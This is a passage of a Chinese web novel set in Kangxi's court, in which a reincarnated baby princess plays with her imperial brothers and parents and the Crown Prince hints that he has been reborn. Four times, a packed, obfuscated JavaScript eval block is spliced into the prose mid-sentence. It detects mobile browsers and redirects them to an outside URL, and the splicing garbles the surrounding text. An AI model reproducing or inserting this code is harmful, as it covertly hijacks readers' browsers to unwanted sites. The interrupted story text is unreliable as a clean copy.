今日是皇贵妃的生辰,午膳那会儿皇贵妃宴请后宫嫔妃们,又请戏班子到承乾宫唱了两出热闹热闹,晚膳是皇贵妃特地留给一家人的。 雅尔哈吃了个半饱,整个人懒洋洋地躺在凉席上,也不对四阿哥排斥了,一双乌溜溜的眼睛在四阿哥身上扫来扫去,似乎是想将他的模样印进心里。 她毕竟不是个彻头彻尾的小婴儿,端看奶嬷嬷的态度便知晓,这人估计是她哥哥了。 虽然不知道为什么之前没见过,但雅尔哈是知道上学这回事的,估摸着这个哥哥在哪个书院里读书,难得休沐这才回家了一趟。 古代交通不便嘛,能理解。 自认为想通了来龙去脉,感觉思考格外耗脑子的雅尔哈小小地打了个哈欠,抱着布老虎在炕上滚了滚,觉得无聊又去扒拉四阿哥腰上葫芦形的荷包。 看着雅尔哈肉嘟嘟的小手,四阿哥嘴角几不可查地弯了一下,又想着要维持当哥哥的沉稳,安安静静守在炕边由着雅尔哈动作。 殿内并没有熏香,只在外间摆了些应季的瓜果,香气透过竹帘子在屋内飘散,闻起来很清爽,甜丝丝的。 不多时,门外便传来宫女轻声通传的声音,说是皇贵妃宫里已经摆好了晚膳,来请四阿哥和八格格过去。 王嬷嬷小心翼翼地将雅尔哈抱起来,替她理了理皱巴巴的小衫,又把那顶被她扯得歪歪扭扭的小凉帽轻轻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17480692|201717||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 扶正,这次雅尔哈竟没再闹腾,只是懒洋洋地靠在嬷嬷怀里,小脑袋一点一点的。 “瞧这可怜样,眼睛要睁不睁的,”雅尔哈半梦半醒间被换了人抱,皇贵妃脱下护甲,轻轻点了点雅尔哈的软乎乎的脸颊,“可是要睡了?” 听见熟悉的声音,雅尔哈一下来了精神,小手小脚止不住扑腾,“啊啊——” 皇贵妃连忙将雅尔哈抱实了,轻声哄着她,“好了好了,雅尔哈乖乖的,再闹额娘可抱不住你了。” 雅尔哈听不懂皇贵妃在说什么,只是见到她有些激动,象征性地表达了一下活力,之后便乖乖窝在皇贵妃怀里,眼睛看着四阿哥滴溜溜地转。 四阿哥向来严谨,规规矩矩向皇贵妃行过礼后,才高兴地唤了一声:“额娘!” 这个年纪的小孩见风就长,虽然才两个月未见,但皇贵妃却觉得四阿哥长开了不少,脸颊也不似前几个月饱满圆润。 她有些心疼道:“怎么瞧着清减了许多?可是尚书房膳食不好?还是天气太热了没胃口?” 皇贵妃对尚书房的功课之类插不上手,但给四阿哥改善一下伙食还是轻而易举的。 四阿哥一本正经回答道:“儿臣这是抽条了,太子二哥说脸上消下去的肉都会长到腿上,变成以后的身高。” 入了尚书房后,太子对四阿哥多有照顾,虽然大阿哥经常说他迟早要被太子卖了还帮太子数钱,但四阿哥对这位经常关照他的太子二哥很有好感。 皇贵妃半信半疑。 她怎么没听过还有这个说法? 不过此时的雅尔哈已经在皇贵妃怀里再次扑腾起来。 “怎么了这是,”皇贵妃彻底抱不住她了,只好将雅尔哈往地上放。 雅尔哈养得好,东次间又铺了地毯专门拿来给她活动,此刻一下地雅尔哈便快速爬行,蹭蹭蹭地到了四阿哥脚边,小手用力扯着四阿哥的裤腿就想站立。 她人小,力气却很大,四阿哥连忙护住自己摇摇欲坠的裤子,有些窘迫地看向皇贵妃。 他刚下了学便马不停蹄往承乾宫来了,连衣裳都没来得及换,穿的还是武课时简便的行服,这衣裳的优点是耐磨便于活动,缺点嘛,端看四阿哥的反应便知晓了。 皇贵妃咳嗽两声,连忙使人将雅儿哈抱回炕上,对着四阿哥挽尊道:“你俩也有阵子没见了,雅尔哈还小,记不住人,见了你新鲜,想要亲近亲近。” 虽然她心里怀疑雅尔哈是看中四阿哥腰间红彤彤的荷包了,这孩子性子霸道,看中什么就要拿到手,可不能助长了她的气焰。 这么想着,皇贵妃低头轻轻刮了刮雅尔哈的小鼻尖,刚想教育她两句就见雅尔哈脑袋一歪,水灵灵的眼睛看着她,十分天真无邪没有坏心眼的模样。 皇贵妃不好开口了,又见四阿哥眼巴巴看着雅尔哈,干脆让他坐炕上,将雅尔哈塞他怀里,“兄妹俩先熟悉着,晚膳你们皇阿玛要过来,额娘去小膳房吩咐再多做几道菜。” 说罢,深知雅尔哈脾性的她对着雅尔哈叮嘱道:“不许用你四哥闹脾气,也不许抢四哥的东西知道吗?” 雅尔哈如今还是个听不懂话的宝宝,只当皇贵妃在逗她,发出软糯的“唔”一声,算是敷衍应答。 皇贵妃知道她靠不住,又对着四阿哥温声道:“不要太惯着雅尔哈了,这孩子聪明着呢,吃不了亏。” 8. 雅尔哈 乾清宫。 今日的请安折子似乎格外多,康熙看完一本又臭又长又没有什么正事的请安折子,随意批复了两句,抬头,“什么时辰了?” 已经过了用晚膳的时辰,不过皇上勤于政事不让人打扰的情况常有,梁九功躬身道:“回皇上,已经酉正了。” 康熙放下朱笔,揉了揉手腕,立在一旁的小太监连忙递上温热的湿帕子。 见康熙起身,梁九功忙不迭跟着,“奴才已经派人去承乾宫传了口信,想必皇贵妃娘娘已经备好了晚膳,主子可要过去了?” 宫里的晚膳一般在申时集中供应,不过康熙自个儿有御膳房,承乾宫也有小厨房,都是随时候着的。 再加上今儿是皇贵妃生辰,午膳那会儿听说皇贵妃请了嫔妃们看戏,康熙便没过去,只让御膳房赐了几桌席面为皇贵妃做脸,又让梁九功记得晚膳去承乾宫陪皇贵妃一道用。 盛夏日长,酉正的天还未完全暗下,只天边染着一层浅橘暮色。 刚至承乾宫,康熙便看见了门口候着的身影。 “怎么在殿外等候,”扶起尚未来得及蹲下行礼的皇贵妃,康熙皱眉,“太医不是说身体好些了吗,怎么手还是这么冷冰冰的。” 皇贵妃生产那会儿伤了身子,一日四季里手脚都是冰的,太医说是气虚不足,开了许多补药让皇贵妃吃着,康熙知晓这事后又赐了许多滋补的药材给承乾宫让皇贵妃好好养身体。 原以为养了一年身体也该好些了,康熙心里有些担忧,但面上不显,只牵着皇贵妃的手慢慢走着,“前阵子山东巡抚进贡了五匣阿胶,听太医说对产后血虚甚好,改日你派朱樱走一趟到乾清宫取,这东西不好分,悄悄的,朕全部予了你别让别人知晓了。” 宫里产后血虚的不止皇贵妃一个,去年宜妃生了九阿哥,德妃生了九公主,贵妃生了十阿哥,偏偏让康熙心里记挂的只有皇贵妃。 还悄悄的。 皇贵妃嘴角微翘,朱樱是她身边的大宫女,往乾清宫走一遭哪是能悄悄的事。 不过她对皇上明目张胆的偏心很受用,就算这番话改了模样不知说给了多少嫔妃听,但皇贵妃从来不会自讨没趣问个明白,此刻只是笑了笑,略带亲昵道:“臣妾身子已经好了许多,不过既然皇上肯给,臣妾就毫不推辞地接下了。” 有便宜不占的那是傻子,尽管皇贵妃从来不缺这些东西,但宫里看重的又不是这么几匣阿胶,而是里面体现出来的皇上的心意。 独给她一个人,这心意足够了。 康熙拍了拍皇贵妃的手,含笑道:“你啊,这有什么好推辞的,平日里给你的东西难道还少了不成。” 到了廊下,还未踏入殿内两人就听见了咯咯咯的笑声。 这声音听得欢快,皇贵妃用手帕掩了掩嘴角,话语里带着笑意,“今儿是臣妾生辰,四阿哥那孩子有孝心,下了学衣裳都来不及换便回了承乾宫,如今在陪雅尔哈玩笑呢。” 为人父母,自然都是希望孩子们兄友弟恭,姐妹和睦的。 康熙脸色更柔和了,他对养在承乾宫,又得了太子青眼的四阿哥很有印象,对兄长敬重知礼,对妹妹又慈和友爱,是个好的。 四阿哥正拦着雅尔哈不让她去探炕桌上的高脚银碟子,里面的桂花糕她吃不得。 偏偏雅尔哈仗着身量小,动作灵活,滑得像个泥鳅,四阿哥被她逗得额上都起了薄汗,偏偏他还不觉得雅尔哈在耍他,拦得真心实意可卖力了。 王嬷嬷站在一旁简直不忍直视。 小格格哪里是想吃桂花糕,听这笑声便知晓,她分明是看四阿哥焦头烂额的模样觉得好玩。 转眼瞧见皇上与皇贵妃进来了,王嬷嬷连忙行礼问安,四阿哥也顾不得阻拦妹妹了,伸手理了理因为动作凌乱的行服,转身行礼道,“儿臣给皇阿玛请安。” “不必多礼,”康熙一进房间便瞧见了手上攥着葫芦形荷包笑得小乳牙都露出来了的雅尔哈,还有身形狼狈腰上似乎少了东西的四阿哥。 见到了熟悉的人,雅尔哈往炕沿边爬了些,举着荷包向皇贵妃挥舞着,卖力叫唤,“啊啊——” 看,我从哥哥那里得来的战利品。 皇贵妃嘴角抽了抽。 她就知道。 雅尔哈看中的东西就没有得不到的。 康熙已经一把将雅尔哈抱了起来,举着掂了掂,点头道,“不错,雅尔哈又重了些。” 雅尔哈对康熙也算得上熟悉。 毕竟有皇贵妃在,康熙一个月至少要来承乾宫七八天,而每次他过来时皇贵妃都会将雅尔哈抱过来,久而久之,雅尔哈便也知晓这就是她这辈子的父亲了。 况且父亲胆子大,臂力也足,还会带着她飞高高! 果不其然,掂量过雅尔哈体重之后,康熙便双手举着她,将雅尔哈从胸前举过头顶。 宫女嬷嬷们是不敢陪雅尔哈玩这样危险游戏的,没看见皇贵妃紧张得手帕都捏紧了吗。 但她到底还是没有阻拦。 一是雅尔哈笑得实在高兴,不给她玩她要闹,二是感情就是这么培养起来的,据皇贵妃所知,皇上抱过的孩子,除了太子就只有雅尔哈了。 康熙正当盛年,平日里也没有疏忽锻炼,春猎时才搭箭射了一只猛虎,虎皮经过内务府硝制还好好地挂在乾清宫呢,如今举着一个一岁的小孩更是不在话下。 殿内满是雅尔哈兴奋的欢笑声,直到雅尔哈玩尽兴开始蹬腿了康熙这才将她又放回了炕上。 四阿哥看着父女两人的相处,有些羡慕地看了看自己的手脚。 妹妹笑得好高兴,什么时候他才能长得像皇阿玛那样高大呢? 放下雅尔哈,康熙也没忽视了四阿哥,抬手摸了摸他的脑袋,问了些《大学》里的内容,见四阿哥对答如流,又夸赞了他几句。 说话间,殿外的宫女们已轻手轻脚地将膳食摆好,金花漆地的圆桌被放得满满当当,最边上的小碟子里还准备了雅尔哈能吃的鱼泥,可谓是周全妥帖。 儿女都被照顾到了,皇贵妃心中满意,面上也越发温柔,“膳食已经备好了,快入座吧,再晚些菜就凉了。” 说完,又示意章嬷嬷将雅尔哈抱到身边的小榻上,铺好软褥,方便她待会儿进食。 康熙颔首,率先在主位坐下,皇贵妃与四阿哥一左一右地坐在他身边,抛去周围伺候的人手,瞧着就像是再普通不过的一家四口。 安静用了一顿晚膳,宫女太监们鱼贯而入将残羹撤下,又上了消食茶并瓜果点心,康熙扣着茶盏同皇贵妃闲谈:“今日看戏瞧着热闹吗?若是喜欢,中秋再让戏班子在御花园排一场,也省得你一个人闷得慌。” “臣妾听着倒是尚可,”皇贵妃端起茶盏沾了沾唇,似乎有些不好意思,“皇上也知晓,臣妾虽然通些诗书,但对此道并不擅长,平日里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17480693|201717||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也更多是摆弄算盘杂事,这些戏啊曲啊,臣妾也就听个响,若要臣妾说出个一二三来,那是不成的。” “再说了,仅雅尔哈就够臣妾劳心了,这孩子平时淘得很,”说着,皇贵妃精准拦住了雅尔哈伸向领约的手,调笑道:“皇上您瞧,若不是臣妾手快,这领约到了雅尔哈手上可就拿不回来了。” 领约类似于项圈,是一个镂金的圆形硬环,上面镶嵌着七颗圆润饱满的东珠,并有成色极好的珊瑚点缀,末端垂着金黄色绦带,在烛火的映照下亮闪闪的。 雅尔哈就喜欢颜色鲜艳和亮闪闪的东西。 一击不成她也不气馁,反而赖在了皇贵妃怀里,小手一动一动的,打算瞄准时机再来一次。 “你这小滑头,去闹你皇阿玛去,”皇贵妃平日里和雅尔哈斗智斗勇已经积累出了丰富的经验,直接将雅尔哈塞到了康熙怀里,也不管雅尔哈如何抓牙舞爪的抗议,将在她手中捏了许久的葫芦形荷包也收了回来。 “先前让雅尔哈拿着是怕收了她不肯好好用膳,现在用过膳了,臣妾也就收回来给四阿哥了。” 见康熙有些诧异,皇贵妃解释道,将荷包又给四阿哥好好挂上。 雅尔哈愤怒地哇了几声。 这是我凭本事抢的,为什么要还! 四阿哥心思细,见妹妹似乎对荷包非常喜爱,他还是想将荷包给她,但额娘的意思也不能罔顾,只好抿了抿唇,决定等额娘歇息了,他再偷偷将荷包给雅尔哈。 对康熙来说,雅尔哈这点挣扎的力气微乎其微,他甚至还要控制着力道别伤着她,但见雅尔哈再愤怒也只是哇哇啊啊的,康熙突然道:“朕记得上个月雅尔哈才抓了周,怎么现在还不会说话?” 他记得太子九个月就会喊阿玛了。 这么一说,皇贵妃也觉得不太对,她养过四阿哥与八阿哥,知晓奶嬷嬷私下里会教孩子说话,当初四阿哥与八阿哥也是差不多九个月就会喊人了,怎么雅尔哈如今连个动静都没有? 赵太医又被紧急宣到了承乾宫。 他已经习惯了承乾宫的大惊小怪,但见皇上在这儿,赵太医还是心里惊了一下,该不会八格格真出了什么事吧? 上前行了礼,赵太医就听见皇贵妃止不住担忧的话,“小格格如今还不会说话,太医快瞧瞧。” 他每日都要为小格格请平安脉,能有什么问题? 赵太医很想告诉这些没医学常识的人,养孩子不能拔苗助长,说话这事让奶嬷嬷教着就行,等小格格学会了她自己会说的,但皇上和皇贵妃在一旁虎视眈眈,赵太医不敢这么说。 小心翼翼将八格格检查了一遍,重点注意了喉舌,赵太医这才转过身道:“回皇上娘娘的话,格格身体很健康,至于说话,平时让嬷嬷在格格面前多重复就行。” 说完,赵太医还是忍不住来了句,“格格的身体是宫中孩子里最健康的,平日里也活泼好动。” 所以真的不必这么着急,再这样跑下去,小格格身体如何他不知晓,他只知道自己快要折寿了。 雅尔哈记得这个天天都要来看她的白胡子老爷爷,她还是第一次见到这么长这么白的胡须呢,古代人就是惨啊,一把年纪了还要上班,也不知道大夫工资多少,这么卖命。 回想起自己的社畜过往,雅尔哈对赵太医充满了同情,小手安慰似地拍了拍他的胡须。 等着哦,等我长大就让你告老还乡。 9. 雅尔哈 有了这么一回,奶嬷嬷教雅尔哈说话的次数多了起来。 每日晨起,午后,只要雅尔哈醒着,奶嬷嬷便会守在一旁,反复念叨着简单的字句。 但雅尔哈本人不是很高兴。 她会说话啊!只是不会说她们说的那种话而已。 挥着手上的九连环,雅尔哈有些伤心,她最讨厌学习外语了,上辈子英语就没有及格过,这辈子还要学什么鸟语,讨厌死了! 有些厌学的雅尔哈现在不想搭理王嬷嬷,将九连环扔到一边,自顾自缩到炕角开始自闭。 王嬷嬷很无奈,却也不敢逼着她学,只能哄着来,端了一碗苹果泥在雅尔哈身旁诱惑她。 雅尔哈苹果泥吃了,还是不肯学。 以后学习的机会多的是,她现在就想当个无忧无虑的宝宝,不想让可恶的知识污染她九成新的大脑。 反正她身边的奶娘和丫鬟们都非常厉害,有什么需求她哇啊两句,再不济用上肢体语言也足够了。 直到入了秋,雅尔哈整天还是哇哇啊啊,没完整说过一个字。 皇贵妃这下子是真的有些发愁了,看着折子,皇贵妃突然叹了一口气:“永和宫的六阿哥身子弱,可听说一岁时也会说话了,怎么雅尔哈就一点也动静也没有。” 青杏知晓自家主子一向不喜永和宫,如今却主动提起,看来是真的有些急了。 不过她也没有生育过,对此没什么经验,只能轻声细语地安慰道:“民间有句说法,贵人语迟,格格平日那般机敏,只是开口慢些,并不代表其它什么。” “她那点机灵全用在淘气上了,”皇贵妃也不觉得自己女儿是笨蛋,有能把一众大人耍得团团转的笨蛋吗,她怎么看怎么觉得自己女儿很聪明,只是没用在正道上。 “罢了,一切都有本宫在呢,”皇贵妃又叹息一声,放宽心态,努力转移自己的注意力,“翊坤宫那里注意着些,宜妃这胎也快三个月了,皇上那边本宫去了信,让宜妃好好养胎。” 九月初,康熙南巡,宫里的高位妃嫔去了惠妃与荣妃,宜妃这胎刚巧是康熙出巡几日后太医把出来的,听说怀相不是很好。 —— 尚书房。 大阿哥最近心情可好了,脸上的笑容就没落下来过。 皇阿玛南巡,额娘惠妃也随行在侧,没了额娘的叮嘱与约束,没了皇阿玛的威严震慑,他就像是没人管的猴子,在尚书房里窜天窜地,一刻也不安分,人也硬气得不行,都能和太子吵两句了。 这不,汉文师傅刚走,大阿哥便溜溜达达到了隔壁,他也不做什么坏事,就站在窗外对着太子做鬼脸。 在教授太子的师傅往窗外看去时,大阿哥又对师傅挤出一个憨厚的微笑。 简直没眼看。 师傅无奈,大阿哥和太子不合也不是一两日的事了,皇上在时尚且不能缓和兄弟间的关系,如今皇上南巡去了,他一个翰林院的小官还能拿大阿哥怎么样,罚也罚过了,只是大阿哥一意孤行他也没办法。 不想掺和兄弟两人之间的斗争,师傅施施然收拾好书本,对着太子说了几句话,下值了。 大阿哥还是交给太子管教去吧。 “大哥怎么来了?” 师傅走后,太子似乎才注意到了站在门口的大阿哥,表情有些诧异。 大阿哥双手环胸,眼神明亮,肤色因为锻炼的缘故微微呈小麦色,不过十二岁的年纪,已经有了一幅相当好的体格。 “哼,这尚书房又不是你一个人的地儿,我还不能站在廊下吹吹风醒醒神不成?” 他如今对太子可谓是恨得牙痒痒,太子害他经常被皇阿玛罚也就罢了,偏偏这人还不讲武德,小肚鸡肠,整天装作一副好相处的模样将下面的弟弟笼络了过去,久而久之,谁还知道他才是大哥! 因此趁着皇阿玛不在,大阿哥决定给太子点颜色瞧瞧,让他知道拳头大才是硬道理。 太子瞧了瞧外面的天色,又看了大阿哥一眼。 如今正是晌午,太阳火辣辣地顶在脑袋上,屋内有冰盆还好,外面可真是吹的风都是热的,短短时间内,大阿哥身上的纱袍便被细密的汗珠浸得发潮,黏黏腻腻地贴在身上很不舒服。 特地出来吹热风? 大阿哥在太子调侃的目光下意识到自己又做了一件蠢事,脸色瞬间变黑,瞪了他一眼,脚步里带着几分恼羞成怒的仓促,转身回西庑房了。 太子神色淡然,手上扇着湘妃竹的折扇,优哉游哉地跟在大阿哥身后。 大阿哥听见身后传来的动静,回头,恶狠狠道:“你跟着我做什么!” 尚书房位于乾清宫东南侧的庑房,共有五间厢房,其中太子独占一间单独授课,其余皇子则是集中授课,西庑房相当于皇子们的休息室和饭堂,至于太子,乾清宫就是他家,他平时都是直接与康熙一道用膳的。 太子笑了笑,无辜摆手:“皇阿玛不在,孤自然是与三弟四弟一道用膳了。” 他也没说假话,刚到西庑房,穿着明黄色马甲的侍卫已经将紫檀木云龙纹的五层大食盒放到了支起来的方桌上,正一道接着一道地往外拿着膳食。 康熙宝贝太子,虽然这一年太子做了许多让他心梗的事,但太子的优秀也显而易见,在他正常的时候还是很有储君风范的。 所以在南巡之前,康熙担忧自己不在太子吃不好,大手一挥便将太子的膳食提到了与自己同等的规格,太子也毫不推辞的接受了,此时正大方地邀请三阿哥与四阿哥品尝。 看了看自己面前的三瓜两枣,再看了看太子和两个弟弟面前那满满的一大桌子,大阿哥咬牙。 膳房送来的膳食也不能说难吃,毕竟他们是阿哥,生母又在后宫有地位,膳房也不敢薄待了他。 鸡鸭羊肉俱全,备有瓜果点心并应季蔬菜,只是常年都是这些,大阿哥早就吃腻歪了,但是他自认 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17480694|201717||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 为和太子是势均力敌的对手,岂能向太子低头,那他作为大哥的面子往哪搁? 四阿哥看了看独自坐在一旁生闷气的大哥,又看了看嘴角挂着笑,一脸和善的太子二哥,沉默了一会儿,还是扯了扯太子的衣袖,小声道:“大哥这样真的没问题吗?” 虽然大哥一直对二哥鼻子不是鼻子眼不是眼,但他发现二哥其实并没有那么讨厌大哥,甚至有时候二哥还会暗戳戳帮大哥,只是好像大哥并没有发觉。 他年纪小,理解不了大哥和二哥之间复杂的兄弟感情。 在四阿哥浅薄的人际观念里,关系好就一起读书写字,关系不好就远离不说话,但大哥明明和二哥关系不好却每次都凑上去和二哥说话,说完话又生气不理二哥,就这么循环往复。 太子面露惊讶,反问道:“难道大哥平时与你们用膳不是这样的吗?” 四阿哥被问住了。 他仔细回忆了一下,好像,似乎,大概,大哥平时也这样? 西庑房就他们三个皇子,空间够够的,平时也是一人支一个小方桌各自用膳,再加上四阿哥有些孤僻,平时也就太子多带他,与大阿哥三阿哥的关系都一般,他还真没注意过大哥平时用膳是怎么样的。 在四阿哥紧急转动脑子的时候,太子给三阿哥和四阿哥各夹了一块滋滋冒油的康熙特供挂炉烤鸭肉,随口道,“想吃饽饽还是粥点汤饭,让小禄子给你们盛。” 在承乾宫时,四阿哥不缺吃食,嘴也养刁了。 但进了尚书房,为了培养他们吃苦耐劳的精神和坚韧不拔的品格,每日供膳都是固定的,在承乾宫随处可见的蜜饯点心更是没有,一般还尚未下学阿哥们的肚子便唱起了空城计。 天大地大吃饭最大,四阿哥要了一碗八宝粥,暂且将一旁生闷气的大哥抛到了脑后,守着皇子的仪态,低头小口小口地吃了起来。 也不知道大阿哥在用膳这段时间内想了什么,总之小太监刚将碗筷收了下去,四阿哥便感觉脑袋上多了一股力道。 “明儿就是四弟生辰了,”大阿哥大大咧咧地揉了揉四阿哥脑袋,挑衅地看向太子,“正好皇阿玛不在,不如咱们明儿向师傅们告假半日,也正好为四弟庆生。” 思来想去,大阿哥决定还是先拉拢四弟。 尚书房的汉文师傅最近正在教他们《三国演义》,据说他们的老祖宗太祖太宗皇帝就是把《三国演义》当兵书来读,更是将里面的计谋活学活用,大阿哥决定效仿先祖,来一出分而化之,重拾大哥地位。 至于为什么不先拉拢更为熟悉的三弟,其一是他看出了二弟对四弟隐约有些特殊,别说什么只是关照弟弟之类的鬼话,他和二弟斗智斗勇这么久可了解了,二弟就不是那种会大发善心的人,瞧着和善,实际上内心可傲了,要抢就抢更重要的。 其二嘛,三弟汉文学得好,平日里总说些之乎者也的话,他不爱听也不想听,没必要强求自己。 10. 雅尔哈 天气渐渐凉了下来,雅尔哈说话的进度没有丝毫推进,反倒是走路稳当了许多,先前还只能借助着外力摇摇晃晃站起,如今已经能自己站起来稳稳当当走两步了。 破坏力也增强了。 在雅尔哈的努力下,后殿的家具布置又换了一轮,地面铺上了厚实的米色地菊花边双狮戏球栽绒地毯,所有家具的边边角角都用青布条软包得圆圆润润,但凡雅尔哈能够到的地方更是一点杂物也没放,要么锁进了柜子里,要么移到了别处,瓷瓶玉器之类更是一个都不见。 大阿哥踏进后殿时都惊呆了。 他们刚从承乾宫正殿过来,那里布置得富丽堂皇又不失雅致,金银玉器,兰竹牡丹随处可见,怎么后殿就布置得这般,空旷? 可不是空旷。 后殿面阔五间,如今只剩下大件的家具,明间只有一个漆花描金的雅尔哈再怎么使劲也挪不动的大圆桌和几张配套的云纹靠背椅,东次间作为雅尔哈经常的活动场所,靠南窗的暖炕挪不走还留着,炕案炕几光秃秃的,什么也没摆,东里间倒是有紫檀木衣柜梳妆台等,但衣柜锁着,梳妆台连面铜镜也没有,乍一看就像刚抄过家似的。 雅尔哈刚午睡醒,迷迷蒙蒙地坐起,她揉了揉眼睛,突然发现身前多了几个高矮不一的身影。 瞌睡一下就醒了。 眯着眼睛歪头辨认了一下,好像里面穿蓝色衣裳的那个是她哥哥? 那其他几个是谁? 哥哥书院里的同窗组团来看她了? 雅尔哈就这么呆愣愣地坐在金银彩绘的摇车里,双方对视了几秒,打头的大阿哥轻轻咳嗽了一声,“八妹妹,我是大哥。” 可惜雅尔哈不仅满语不会说,听力也没过关,完全听不懂大阿哥再说什么,心里对他们有了猜测后便拿他们当空气,向奶嬷嬷伸手,示意自己睡醒了要出来玩。 奶嬷嬷连忙上前,小心翼翼将她从摇车里抱出来。 刚一落地,雅尔哈便熟门熟路地站稳了小身子,抬脚就要往东次间走。 几位阿哥就这么看着小小的人一步三晃地出了里间,也不要人帮忙,自个儿就攀着脚踏爬上了暖炕,中途他们这些人形障碍物还给她让了一次道。 直到雅尔哈站在暖炕上,视线几乎和四阿哥平齐,她这才将注意力分给跟着她出来的哥哥们,双手叉腰,气势汹汹的模样,“哇?” 知不知道一直仰着脖子看人很累的? 大阿哥听不懂她的婴语,又试着唤了一句,“八妹妹?” 雅尔哈胡乱点头。 虽然我不知道你在说什么,但看你的样子就知道在喊我,点头就对了。 得到回应的大阿哥有些高兴,但他没和这么小的妹妹相处过,绞尽脑汁想了一会儿,招了招手,守在门口的小太监立即小跑过来,将一把小弓恭敬呈上。 大阿哥试了试小弓的手感,将它递给雅尔哈,兴致勃勃道:“八妹妹,大哥教你射箭如何?” 雅尔哈看了看小弓,又看了看自己胖乎乎带着小肉窝的手,最后看了看大阿哥。 你觉得我拿得了吗? 她这一系列动作做得光明正大,大阿哥又后知后觉反应过来。 这把小弓是他六岁时使的,对如今的他来说小了,但就八妹妹的个头,她连握都握不住。 太子侧头看了大阿哥一眼,淡淡道:“这是大哥送给四弟的生辰礼吗?” 这大小,也就四阿哥拿着比较合适了。 三阿哥与四阿哥也同时看向大阿哥。 被四双眼睛盯着,大阿哥耳尖通红,直接将小弓塞到了候在炕几旁一眼不错盯着雅尔哈的王嬷嬷手里,急急忙忙解释道:“这是给八妹妹的见面礼,不过她还小,你先给她收着,等八妹妹六岁了我再亲自教她搭弓射箭,我可是尚书房的骑射第一。” 说到最后,大阿哥又洋洋自得起来,还暗戳戳地瞄了太子一眼。 就算太子文课学得好,但骑射还是比不过他。 太子对此没什么反应。 雅尔哈虽然觉得这人块头大没什么脑子,但送东西给她她还是喜欢的,赞赏地虚空拍了拍大阿哥肩膀,又对着太子和三阿哥伸手,催促地啊了一声。 动物园看猴子还要买门票呢,至于哥哥,看在这家也有他的一份上,就不收他的礼了。 太子不动声色,三阿哥不明所以。 但三阿哥见雅尔哈双手都摊开对着他,以为她自己下不了暖炕要人抱,暗自吸了一口气,上前两步准备将她抱下来。 然后被雅尔哈扭开身子拒绝,无措地退了回来。 见此,太子微微抬手,一个穿着蓝灰色坎肩的小太监端着石青织锦的匣子毕恭毕敬地进了东次间,弯着腰在雅尔哈面前将匣子打开。 咔嗒。 一套十二生肖的泥胎彩塑玩具出现在雅尔哈眼前。 这些玩具不过雅尔哈的拳头大小,既能让雅尔哈握在手里把玩,又能防止她不知事吞进嘴里,最重要的是色彩鲜明,很能吸引小孩注意。 雅尔哈十分满意,三阿哥也明白了什么,连忙解下腰间的红色缎绣云蝠双喜荷包递给雅尔哈。 显而易见,太子和大阿哥是有备而来的,只是大阿哥备得不是很充足,三阿哥就真的只是匆匆忙忙了,礼物都只有从自己身上取。 不过雅尔哈不挑,她看重的是心意嘛。 有了进项,雅尔哈也不小气,对着守在她另一边的钱嬷嬷哇了一声,钱嬷嬷会意,转身进了东里间,出来时胸前就抱了一只中等大小的黄花梨木的箱子。 将箱子放在暖炕上打开,雅尔哈掏啊掏,掏出了一只兔子的圆胖玩偶,一只绸缎绣球,一个摇起来会响的铜钱编小狮子,还有会沙沙响的木鱼小铃铛,最后就是她最爱的布老虎。 将布老虎抱在怀里,剩下四个一字排开,雅尔哈指了指玩具,对着几个哥哥啊了一声。 太子笑了笑,先拿起了铜钱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17480695|201717||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 编小狮子,在雅尔哈面前晃了晃,温声道:“八妹妹是想送给我们吗?” 在尚书房时不觉得,到了承乾宫见到健健康康的雅尔哈后,太子难得有些好奇。 他记得皇贵妃所出的八妹妹好像没过几个月就因先天不足夭折了,在那之后皇贵妃仿佛便失了心气,身体一日一日衰败下去,到最后撑不住了还为四弟着想,提前安排了亲事。 但瞧着八妹妹如今健康的模样,很难想象她会早夭。 不过他重来之后做的那些事好像对承乾宫也没什么影响吧? 太子不确定地想着,他也不过就在乾清宫与尚书房为非作歹了些,还有叔祖父那边做了一些微不足道的小事,最多影响一下赫舍里氏与外朝,后宫是和他扯不上关系吧,应该? 